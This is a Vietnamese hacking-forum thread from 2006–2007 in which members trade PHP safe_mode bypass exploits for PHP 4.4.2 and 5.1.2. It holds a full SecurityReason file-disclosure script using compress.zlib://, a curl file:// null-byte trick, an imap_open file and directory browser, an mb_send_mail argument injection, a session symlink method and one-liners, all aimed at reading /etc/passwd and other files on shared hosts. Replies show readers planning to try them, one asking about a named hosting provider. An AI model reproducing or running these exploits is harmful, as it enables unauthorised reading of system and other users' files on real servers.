[Announcement] PHP 4.4.2 and PHP 5.1.2 Safe Mode Bypass |
07/09/2006 08:46:55 (+0700) | #1 | 21297 |
|
baothu
Elite Member
|
0 |
|
|
Joined: 15/09/2003 02:42:15
Messages: 57
Offline
|
|
bài này có lâu rồi,nhưng thấy còn dùng được nên post lên đây cho mọi người tham khảo
Code:
<?php
/*
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
by Maksymilian Arciemowicz SecurityReason.Com
cxib [at] securityreason [dot] com and max [at] jestsuper [dot] pl
pozdro sp3x
*/
$file=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
echo "<PRE>\n";
if(empty($file)){
if(empty($_GET['file'])){
if(empty($_POST['file'])){
die("\nSet varibles \$tymczas, \$file or use for varible file POST, GET like
?file=/etc/passwd\n <B><CENTER><FONT
COLOR=\"RED\">SecurityReason.Com
Exploit</FONT></CENTER></B>");
} else {
$file=$_POST['file'];
}
} else {
$file=$_GET['file'];
}
}
$temp=tempnam($tymczas, "cx");
if(copy("compress.zlib://".$file, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "<B>--- Start File ".htmlspecialchars($file)."
-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File
".htmlspecialchars($file)." ---------------\n";
unlink($temp);
die("\n<FONT COLOR=\"RED\"><B>File
".htmlspecialchars($file)." has been already loaded. SecurityReason Team
;]</B></FONT>");
} else {
die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
access.</CENTER></FONT>");
}
?>
|
|
|
|
|
[Question] PHP 4.4.2 and PHP 5.1.2 Safe Mode Bypass |
07/09/2006 11:34:04 (+0700) | #2 | 21324 |
|
baothu
Elite Member
|
0 |
|
|
Joined: 15/09/2003 02:42:15
Messages: 57
Offline
|
|
nữa nè,qua CURL
Code:
<?
$ch =
curl_init("file:///etc/passwd\x00/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
?>
|
|
|
|
|
[Question] PHP 4.4.2 and PHP 5.1.2 Safe Mode Bypass |
07/09/2006 11:35:43 (+0700) | #3 | 21325 |
|
baothu
Elite Member
|
0 |
|
|
Joined: 15/09/2003 02:42:15
Messages: 57
Offline
|
|
Cái nè ByPass cũng cool nì,qua Imap Function
Code:
<form action="" method="post">
<select name="switch">
<option selected="selected" value="file">View file</option>
<option value="dir">View dir</option>
</select>
<input type="text" size="60" name="string">
<input type="submit" value="go">
</form>
<?php
$string = !empty($_POST['string']) ? $_POST['string'] : 0;
$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;
if ($string && $switch == "file") {
$stream = imap_open($string, "", "");
if ($stream == FALSE)
die("Can't open imap stream");
$str = imap_body($stream, 1);
if (!empty($str))
echo "<pre>".$str."</pre>";
imap_close($stream);
} elseif ($string && $switch == "dir") {
$stream = imap_open("/etc/passwd", "", "");
if ($stream == FALSE)
die("Can't open imap stream");
$string = explode("|",$string);
if (count($string) > 1)
$dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
else
$dir_list = imap_list($stream, trim($string[0]), "*");
echo "<pre>";
for ($i = 0; $i < count($dir_list); $i++)
echo "$dir_list[$i]\n";
echo "</pre>";
imap_close($stream);
}
?>
|
|
|
|
|
[Question] PHP 4.4.2 and PHP 5.1.2 Safe Mode Bypass |
07/09/2006 11:37:46 (+0700) | #4 | 21327 |
|
baothu
Elite Member
|
0 |
|
|
Joined: 15/09/2003 02:42:15
Messages: 57
Offline
|
|
Còn đây là mb_sendmail
<?php
$rek= "hehehehe";
if (file_exists($rek)) unlink($rek);
$file = "/etc/passwd";
$xploit = "-C ".$file." -X ".getcwd()."/".$rek;
mb_send_mail(NULL, NULL, NULL, NULL, $xploit);
echo "<pre>".file_get_contents($file)."</pre>";
?>
|
|
|
|
|
[Question] PHP 4.4.2 and PHP 5.1.2 Safe Mode Bypass |
07/09/2006 11:38:33 (+0700) | #5 | 21328 |
|
baothu
Elite Member
|
0 |
|
|
Joined: 15/09/2003 02:42:15
Messages: 57
Offline
|
|
Init set,chưa test
1) Make the following script:
<?php
ini_set("session.save_path","/path/where/sess_foo/symlink/is/");
session_start();
$_SESSION['bar'] = "bar";
session_write_close();
?>
2) Call this script with ?PHPSESSID=foo
|
|
|
|
|
[Question] PHP 4.4.2 and PHP 5.1.2 Safe Mode Bypass |
02/12/2006 05:59:31 (+0700) | #6 | 27417 |
|
Luke
Elite Member
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
Thực ra ko cần dài dòng đến vậy
Khi có được 1 con shell chỉ cần
copy("compress.zlib://etc/passwd","<writeable>");
thế là đủ |
|
|
|
|
[Question] Re: PHP 4.4.2 and PHP 5.1.2 Safe Mode Bypass |
02/12/2006 08:49:37 (+0700) | #7 | 27452 |
|
hieuhoc
Member
|
0 |
|
|
Joined: 08/09/2006 21:57:39
Messages: 103
Offline
|
|
tks mấy bác nha mấy cái này hay đó để em test hết xem.
còn cái của anh Luke em mới thấy lần đâu để test luôn ko biết có bypass qua mọi trường hợp safe on không anh?
và cho em hỏi thêm nữa là liệu có cách nào local ở bluehost không ? |
|
|
|
|
[Question] Re: PHP 4.4.2 and PHP 5.1.2 Safe Mode Bypass |
31/01/2007 11:50:22 (+0700) | #8 | 39169 |
|
xnohat
Moderator
|
Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
|
|
He he tui có một cách giản đơn hơn cả luke
readfile("/etc/passwd");
Chấp cả Safe_mode vì đây là một hàm khá thông dụng trong việc đọc file nên ít server dám chặn nó
|
|
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline |
|
[Question] Re: PHP 4.4.2 and PHP 5.1.2 Safe Mode Bypass |
31/01/2007 13:33:48 (+0700) | #9 | 39193 |
|
rickb
Reseacher
|
Joined: 27/01/2007 17:47:27
Messages: 200
Offline
|
|
Mình có 1 thấy mắc là hầu hết các cách trên toàn bypass safe_mod để xem (cat) 1 file nào đó nhưng khi local exploit thì phải dùng những lệnh kèm theo như ls .. để biết tên file/folder đó mà view chứ, nhưng nếu safe mod được bật thì ta ko thể ls được ngoài thư mục của ta, vậy là sao bypass safe_mod để thực hiện những lệnh như ls .. ? |
|
|
|